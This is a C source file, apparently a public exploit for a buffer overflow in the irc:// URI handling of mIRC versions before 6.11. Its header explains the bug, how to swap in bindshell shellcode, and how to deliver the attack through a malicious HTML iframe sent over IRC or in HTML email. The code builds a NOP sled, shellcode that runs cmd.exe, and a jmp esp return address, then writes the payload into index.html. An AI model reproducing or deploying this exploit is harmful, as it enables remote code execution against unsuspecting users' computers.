/** gEEk-fuck-khaled.c -- remote mirc < 6.11 exploit by blasty
 **
 ** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148
 **
 ** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised
 ** nobody had written an exploit yet. So I decided to start writing one.
 ** Since this was my first time coding a exploit for windows, it took some
 ** research before I got the hang of it. (Ollydbg is much more confusing then GDB btw :P)
 **
 ** This exploits (ab)uses the bug in irc:// URI handling. It contains a buffer-
 ** overflow, and when more then 998 bytes are given EIP will be overwritten.
 ** 
 ** At first I was thinking of a simple solution to get this exploitable. Since
 ** giving an URI with > 998 chars to someone on IRC is simply NOT done :)
 ** Then I remember the iframe-irc:// flaw found by uuuppzz [2]
 **
 ** This exploit will write an malicious HTML file containing an iframe executing the
 ** irc:// address. So you can give this to anyone on IRC for example ;)
 ** The shellcode included does only execute cmd.exe, because I don't want to be this
 ** a scriptkiddy util. But, replacing the shellcode with your own is also possible.
 ** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but it may require
 ** some tweaking.
 ** After exiting the cmd.exe mIRC will crash, so shellcode its not 100% clean, but who carez :)
 **
 ** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn't started.
 ** mIRC will start automatically when an irc:// is executed, so you can also send somebody
 ** and HTML email containing the evil HTML code. (only for poor clients like Outlook Express :P)
 **
 ** Anyway, have fun with it, and dont own complete newb #chans :P
 **
 ** Greetz to:
 ** inz, demz, gEEkz team
 **
 ** [1] http://www.packetstormsecurity.nl/0310-advisories/mirc61.txt
 ** [2] http://www.uuuppz.com/research/adv-001-mirc.htm
 **
 ** -- blasty (blasty@geekz.nl / www.geekz.nl)
 **/

#include <stdio.h>


/* Stupid cmd.exe exec shellcode. hey! I r !evil ;) */
unsigned char shellcode[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
  "\x44\x80\xbf\x77"      //  0x78bf8044 <- adress of system()
  "\xff\xd0";        //    call    system()
  

char jmpback[] =
        "\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)

char buffer[1100], fstring[1300]; // heh, need to clean this up

int main(int argc, char *argv[]) {
  FILE *evil;

  fprintf(stdout, "---------------------------------------------\n"
      "mIRC < 6.11 remote exploit by blasty@geekz.nl\n"
      "---------------------------------------------\n\n");

  // NOPslides are cool
  memset(buffer, 0x90, sizeof(buffer) - 1);

  // place shellcode in buffer
  memcpy(buffer + 20, shellcode, strlen(shellcode));

  // took this one from ntdll.dll (jmp esp)
  *(long *)&buffer[994] = 0x77F4801C;

  // place jmpback shellcode in buffer
  memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));

  printf("[+] Evil buffer constructed\n");


  // open HTML file for writing
  if((evil = fopen("index.html", "a+")) != NULL) {

    // construct evil string :)
    sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>", buffer);

    // write string to file
    fputs(fstring, evil);

    // close file
    fclose(evil);

    printf("[+] Evil HTML file written!\n");
    return(0);
  } else {
    // uh oh.. :/
    fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
    exit(1);
  }
}